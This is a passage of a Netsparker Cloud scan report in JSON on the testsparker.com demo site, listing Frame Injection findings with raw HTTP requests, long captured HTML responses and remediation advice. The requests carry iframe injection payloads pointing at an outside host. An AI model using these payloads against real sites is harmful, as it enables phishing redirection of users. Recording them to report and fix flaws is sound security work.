nVubmVkIj48aW1nIHNyYz0iL3N0YXRpY3MvQWdlbnRKLlQuUm9iZXJ0cy5qcGciIC8+PC9hPjxzcGFuIGNsYXNzPSJzcGFuZGVzYyIgaWQ9InNwYW40Ij48L3NwYW4+PC9saT5kGAEFKWN0bDAwJENvbnRlbnRQbGFjZUhvbGRlck5hdiRtdkxvZ2luTG9nb3V0Dw9kZmRA89ysfk6sLMvad2MrxRyeQAusOIs+D7Rxfalg019c7g==","Vulnerable":false},{"Name":"__VIEWSTATEGENERATOR","Type":"Post","Value":"E809BCA5","Vulnerable":false},{"Name":"hello","Type":"Querystring","Value":"","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":250.0223,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 11563\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:09:20 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n\r\n

About

\r\n

\r\n Hello\r\n \r\n

\r\n

\r\n Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus.\r\n\r\n\r\n

\r\nMission\r\n
    \r\n
  1. Inform users to protect them from common mistakes.
  2. \r\n
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. \r\n
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. \r\n
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. \r\n
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. \r\n
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. \r\n
  13. Remain a neutral informative resource about Bitcoin.
  14. \r\n
\r\n\r\n \r\n\r\n
\r\n

Our Teams

\r\n
\r\n
    \r\n\r\n
\r\n
\r\n
\r\n
\r\n
\r\n
\r\n\r\n
\r\n\t\t\t

Follow us

\r\n\t\t\t
\r\n \r\n \"Twitter\" \r\n \r\n\t\t\t\t\r\n \"Facebook\" \r\n \r\n \r\n \"Linkedin\" \r\n \r\n \r\n \"Google \r\n \r\n \r\n \"RSS\" \r\n \r\n\t\t\t
\r\n\t\t
\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected frame injection, which occurs when a frame on a vulnerable web page displays another web page via a user-controllable input.

","Impact":"
An attacker might use this vulnerability to redirect users to other malicious websites that are used for phishing and similar attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Where possible do not use users' input for URLs.
  • If you definitely need dynamic URLs, make a list of valid accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs which are located on accepted domains.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/About.aspx?hello=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e","Type":"FrameInjection","Name":"Frame Injection","Severity":"Medium","Certainty":95,"Confirmed":false,"State":"Present","Classification":{"Owasp":"A10","Wasc":"38","Cwe":"601","Capec":"","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /About.aspx?hello=%3ciframe%20src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"hello","Type":"Querystring","Value":"","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":100.8383,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 10070\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 07:47:57 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n
\r\n\r\n
\r\n\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n \r\n \r\n \r\n\r\n\r\n

About

\r\n

\r\n Hello\r\n \r\n

\r\n

\r\n Bitcoin is controlled by all Bitcoin users around the world. Developers are improving the software but they can't force a change in the rules of the Bitcoin protocol because all users are free to choose what software they use. In order to stay compatible with each other, all users need to use software complying with the same rules. Bitcoin can only work decently with a complete consensus between all users. Therefore, all users and developers have strong incentives to adopt and protect this consensus.\r\n\r\n\r\n

\r\nMission\r\n
    \r\n
  1. Inform users to protect them from common mistakes.
  2. \r\n
  3. Give an accurate description of Bitcoin properties, potential uses and limitations.
  4. \r\n
  5. Display transparent alerts and events regarding the Bitcoin network.
  6. \r\n
  7. Invite talented humans to help with Bitcoin development at many levels.
  8. \r\n
  9. Provide visibility to the large scale Bitcoin ecosystem.
  10. \r\n
  11. Improve Bitcoin worldwide accessibility with internationalization.
  12. \r\n
  13. Remain a neutral informative resource about Bitcoin.
  14. \r\n
\r\n\r\n \r\n\r\n
\r\n

Our Teams

\r\n
\r\n
    \r\n\r\n
\r\n
\r\n
\r\n
\r\n
\r\n
\r\n\r\n
\r\n\t\t\t

Follow us

\r\n\t\t\t
\r\n \r\n \"Twitter\" \r\n \r\n\t\t\t\t\r\n \"Facebook\" \r\n \r\n \r\n \"Linkedin\" \r\n \r\n \r\n \"Google \r\n \r\n \r\n \"RSS\" \r\n \r\n\t\t\t
\r\n\t\t
\r\n\r\n
\r\n
\r\n
\r\n \r\n \r\n
\r\n
\r\n
\r\n \r\n\r\n

Bitcoin Foundation.

\r\n
\r\n
\r\n \r\n \r\n
\r\n\r\n\r\n"},"ExtraInformation":[],"KnownVulnerabilities":[],"Description":"

Netsparker Cloud detected frame injection, which occurs when a frame on a vulnerable web page displays another web page via a user-controllable input.

","Impact":"
An attacker might use this vulnerability to redirect users to other malicious websites that are used for phishing and similar attacks.
","RemedialActions":"","ExploitationSkills":"","RemedialProcedure":"
  • Where possible do not use users' input for URLs.
  • If you definitely need dynamic URLs, make a list of valid accepted URLs and do not accept other URLs.
  • Ensure that you only accept URLs which are located on accepted domains.
","RemedyReferences":"","ExternalReferences":"","ProofOfConcept":""},{"Url":"http://testsparker.com/GuestbookList.aspx?http://r87.com/?testsparker.com/","Type":"FrameInjection","Name":"Frame Injection","Severity":"Medium","Certainty":100,"Confirmed":true,"State":"Present","Classification":{"Owasp":"A10","Wasc":"38","Cwe":"601","Capec":"","Pci31":"6.5.1","Pci32":"6.5.1","Hipaa":"164.308(a)"},"HttpRequest":{"Method":"GET","Content":"GET /GuestbookList.aspx?http://r87.com/?testsparker.com/ HTTP/1.1\r\nHost: testsparker.com\r\nCache-Control: no-cache\r\nAccept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nCookie: ASP.NET_SessionId=5nhgkucnjqxu5wn4cybrnayt; TestCookie=Hello\r\nAccept-Encoding: gzip, deflate\r\n\r\n","Parameters":[{"Name":"Query Based","Type":"FullQueryString","Value":"http://r87.com/?testsparker.com/","Vulnerable":true}]},"HttpResponse":{"StatusCode":200,"Duration":1787.5933,"Content":"HTTP/1.1 200 OK\r\nServer: Microsoft-IIS/8.5\r\nX-Powered-By: ASP.NET\r\nX-AspNet-Version: 4.0.30319\r\nContent-Length: 814399\r\nContent-Type: text/html; charset=utf-8\r\nDate: Wed, 23 Aug 2017 08:09:52 GMT\r\nCache-Control: private\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\tBitcoin Web Site\r\n\r\n \r\n \r\n\r\n
\r\n
\r\n\r\n\r\n\r\n
\r\n\r\n\r\n\r\n\r\n
\r\n\r\n\t\r\n\t\r\n\t\r\n
\r\n
\r\n
\r\n \r\n \r\n

Please, Login

\r\n \r\n Bitcoin Web Site\r\n \r\n \r\n\r\n
\r\n
\r\n
\r\n
\r\n \r\n \r\n \r\n\r\n

Last Comments

\r\n\r\n
\r\n\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\t\t\r\n\t\t\t\r\n\